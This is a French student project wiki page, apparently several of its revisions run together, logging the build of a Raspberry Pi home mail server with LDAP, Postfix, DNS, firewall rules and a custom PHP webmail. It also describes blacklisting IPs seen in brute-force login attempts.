Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===
===Semaine 14 (04/01/2016)===
===Semaine 15 (11/01/2016)===
===Semaine 16 (18/01/2016)===
===Semaine 17 (25/01/2016)===
===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/images/2/23/P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2015-12-15T07:31:11Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===
===Semaine 14 (04/01/2016)===
===Semaine 15 (11/01/2016)===
===Semaine 16 (18/01/2016)===
===Semaine 17 (25/01/2016)===
===Semaine 18 (01/02/2016)===
===Semaine 19 (08/02/2016)===
===Semaine 20 (15/02/2016)===
===Semaine 21 (22/02/2016)===

== Fichiers Rendus ==
Interface web : [https://intimail.pw intiMail.pw]

Rapport de Mi-Projet : [http://projets-imasc.plil.net/mediawiki/index.php?title=Fichier:P9_LIBAERT_TENEUR_DEC15.pdf ICI]

Rapport de Projet : [http:// Soon™]

P9 Système d'hébergement domestique

2015-12-15T07:30:44Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

